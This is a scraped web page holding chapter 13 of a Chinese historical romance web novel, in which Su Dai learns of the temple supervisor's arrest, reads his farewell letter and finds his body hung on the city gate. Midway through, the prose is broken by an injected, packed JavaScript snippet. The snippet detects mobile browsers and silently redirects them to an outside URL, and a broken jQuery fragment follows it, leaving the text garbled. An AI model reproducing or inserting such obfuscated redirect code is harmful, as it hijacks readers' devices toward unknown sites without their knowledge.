13. 第十三章

作品:《世子他追妻火葬场了

    六年前,苏黛被姨母接到魏国公府后,曾去广禅寺上过香。


    她常听父亲提起监寺。


    他们自幼相识,多年至交,一同科考入仕,本约定一起匡扶天下,谁料朝中关系错综复杂,新任天子宠信奸臣,残暴无度,最终一人被迫辞官,遁入空门,一人被贬谪他乡,不受重用。


    父亲被贬后还经常同他写信,是以苏黛初见便觉他如长者般和蔼。


    这些年,监寺如长者谆谆教诲孩子般,指音她走出当年梦魇,甚至专门在广禅寺为她留了间寮房。


    她也极信任监寺,不久后便将山河录交给了监寺保管。


    她不愿插手山河录的事情,山河录的存在令太多人丧了命,她也不忍心就此毁掉父亲心血。


    大启信奉鬼神之说,重佛轻道,更是将寺庙列为神圣之地,把它藏在这里不算危险。


    可昨日书房那张字条的出现,让她心中发怵。


    苏黛坐立不安,只能向监寺求证,山河录是否被人知晓,否则如何解释魏玉年书房中的字条?


    她明明记得当年阿苏姑在追杀她的人面前亲手销毁了山河录,剩下两个知情人也死了!


    她心底隐隐有些猜测,却不敢深想。


    -


    “姑娘,城西围了好多人,好像又有人的尸首被挂在了城墙上!”


    苏黛掀开车帘,果然见城门口拥堵着一大群人,一队禁军拿着绳索上城墙挂尸首,其余人正在疏散百姓,维护治安。


    苏黛放下车帘,她如今思绪纷杂,无暇多想。


    “那便从城东走罢。”


    华京这些年太多将尸首挂于城墙用来警诫世人的例子,她觉得太残忍,不忍心看。


    大启开朝距今一百余年,开国皇帝自小在黔西苗疆长大,为人酷厉狠辣,又精通巫蛊之术,登上皇位后便设立多种酷刑,蛇刑便是其中之一。


    朝中有臣子几次当庭斥责此行有违仁德,启帝不堪其扰认为他挑衅皇权,便下令责打三十大板,臣子不堪其辱,撞死在朝堂之上。


    朝中人心惶惶,纷纷控诉启帝冷血无情,启帝便下令将那臣子尸首挂于城墙,杀鸡儆猴。


    此后每任帝王皆延续此行。


    先帝是历代帝王中最仁慈的一位,曾下令废除蛇刑及其他几种酷刑,可惜当今圣上继位后重新启用,朝中众人敢怒不敢言。


    后来父亲在朝中提起重废酷刑一事,触了帝王之怒,加上被英王陷害,惨遭贬谪。


    苏黛承了父亲的良善,虽不认同此等做法,可毕竟心有余力不足。


    身为女子之身,罪臣之后,她唯一能做的也只有嫁一良人,保全自己护好山河录。


    -


    寒意未散,沁入丝丝刺骨的冷意,竹节被厚厚的积雪压弯了身躯,好似泛起苦意。


    苏黛立于寺外,拉下竹子,轻轻抖落了雪,竹子霎时弹起,向上而伸,露出翠绿竹叶在风中摇曳,于天寒地冻中傲然挺立,极具生命力。


    有小沙弥前来迎接——


    “阿弥陀佛,施主,你来了。”


    小沙弥明明很眼生,却似认得苏黛,知道她会来一般。


    苏黛压下心底诧异:“小师父,我来找监寺。”


    小沙弥施了一礼,似毫不意外:“施主请随我来。”


    苏黛随小沙弥去了禅堂,寺里一路安静得吓人,连香客竟都少了许多!


    按理年关刚过,来上香祈福的人更多才是。


    苏黛觉得有些怪异,却又说不上来。


    直到进了禅堂,她才惊觉怪异从何而来,广禅寺竟也少了许多僧人,往常一进寺庙,便能听见诵经声,现下竟也没了……


    苏黛油然生起不详预感:“小师父,寺里可是发生了什么?”


    “监寺年前被刑部请去了城中一直未归,今日朝廷不知为何又带走了寺里大半的人。”


    小沙弥道了句“阿弥陀佛”。


    苏黛着急道:“刑部为何带走监寺?”


    小沙弥轻轻摇头,目露哀愁。


    难道是因为世子哥哥之前所说的盐税案,可那不是已经找到名单了吗?


    况且拿走名单的是主持,和监寺有什么关系?


    苏黛蓦然想起挂在城西的尸首,难道和那具尸首有关?


    小沙弥从禅堂佛像后拿出一封信:“施主,这是监寺走前让我务必交给你的信,说你来了便知晓了。”


    苏黛接过信,只觉得手中沉甸甸的,她总有一种不好的预感,压在心头沉重得难受。


    “广禅寺怕是要闭寺一段时日了。”小沙弥叹了口气:


    “施主还是快些归家罢。”


    苏黛攥紧手中信封,她确要赶快回去,她要去刑部找魏玉年救出监寺。


    离去时,苏黛匆匆瞥了一眼门口那颗菩提树,每条红布上都铺满了墨痕,菩提树挺拔而立,红布则在风中舞动,像极了招手等侯归家的人……


    她移开眼,上了马车。


    马车颠簸,行至京郊,苏黛展开信。


    字迹行云流水,力透纸背。


    “苏小施主,见字如晤,吾将所托埋于菩提之下,世人尚未知晓。另吾知令兄于西北,以书信之,不日便得重聚。”


    “吾入空门,却未脱凡尘俗事,所选皆为本心,今终不负苏兄之托,望尔今后再不沉溺往事!”


    “天命如此,不必伤怀,惟伏珍重。”


    心口悬的大石重重砸下,紧绷的弦突然断裂,她突然意识到什么,微红了眼,冲明喜道:“去城西!”


    明喜不敢迟疑,急忙吩咐车夫从城西进城。


    苏黛只觉时间逝去极慢,马车行了许久。


    她不愿验证心中猜想,又想知道是怎么回事,内心如千万根丝线交叉缠绕般形成死结。


    直到熙熙攘攘的嘈杂声渐渐响起,她没忍住直接掀开了帘跳下马车——


    却见城西门口金字牌匾上赫然悬挂着一具尸首,一身袈裟,面色惨白,显然死去多时——正是监寺!


    他像是风中孤寂死去的鹤,淡然又孤傲,若还身处朝堂,也当是为了江山社稷手执笔墨,鞠躬尽瘁!


    可如今,他就这样死在这里,连尸首都被万人观瞻,评头论足……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905865|160147||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明明前些时日,他还慈祥目送她归家,再见已经天人两隔,临走时的嘱托竟都变成了句句遗言!


    “可惜了,他当年也是出了名的探花郎,后来不知为什么想不通出了家,如今却是这样的下场……”


    “听说他是因为盐税案一事被带上朝廷当证人,本应奖赏他协助破案,结果他却在圣上面前当众为苏家申冤,陈年旧案,圣上觉得既已出家,僧人就不应牵涉这些事……”


    “哪个苏家?”


    “还能是谁,就是几年前差点被灭门那个苏家!”


    “他竟然替那罪臣申冤,谁不知苏家当年私藏逆党才被抄家,连家主都畏罪自杀了,这有什么好申冤的?”


    “你不知道,他和苏家家主是好友,一同科考入……”


    “住口,你们知道些什么?”苏黛厉声质问,打断了那人的话。


    那人瞥了一眼本想辩驳几句,见小姑娘红着双眼泫然欲泣,不好再多言,只当是遇到疯子,冷哼一声甩袖走了。


    苏黛想起往年监寺与她谈心时亦父亦友般慈爱,想是父亲当年预料自己有一劫,早便托了监寺照顾她。


    监寺知道她心中所求,所以暗中寻找阿兄,直到今岁,他还曾暗示她阿兄在西北之地……


    她不由自主上前两步,城西围了一群又一群的人,指指点点。


    世人爱谈闲话,此人曾是探花郎,更让这些人有了兴趣,有人说他遁入空门是情场失意,也有人说他不喜逢迎心灰意冷,但具体为何再无从知晓。


    苏黛不愿看见监寺尸首成为谈资,她沉默了会儿下了决心。


    今日无论付出什么代价,她都要上城楼带走监寺。


    她环视着四周,却见一队禁军停在城墙,为首的那人向对面行了礼后说着什么,没过一会儿,一道身着红色官服的身影踏身而出——正是魏玉年。


    魏玉年一身绯红官服身形高挑,沉稳泰然,在禁军中尤其显眼。


    苏黛隐身于百姓之间,吩咐明喜和车夫先行回府,明喜磨蹭了好一会儿,没拗过苏黛,忧心忡忡地边走边看。


    突然,魏玉年似有所感,目光从城墙直直扫向苏黛所在之地。


    苏黛不闪不躲,对视而去。


    却见魏玉年垂眸错开视线,又和为首那人说了什么便下了城墙。


    监寺已死,她不可全然相信世子哥哥,苏黛深深看了一眼魏玉年,转头退入人群之中。


    近来边疆接连大获全胜,一口气收复好几座城池,圣上龙颜大悦,于宫门之上广洒福泽,有些乞儿便乞讨到了华京,来碰碰运气。


    苏黛唤来一个看着机灵的乞儿,塞给他一锭银子附耳说了几句,见乞儿点头立马跑远,才回到城西门。


    朝堂之事瞬息万变,她本就如同无根浮萍,这条命不过也是捡来罢了,可阿苏姑和阿爹阿娘既然护下了她,她便要好好珍惜,和阿兄团聚。


    魏玉年朝她走来,似安抚般拍了拍她的肩:“阿黛,回去罢。”


    他知晓她在想什么,就连方才她的一举一动,他皆看在眼里。


    苏黛不打算瞒他,也瞒不住他。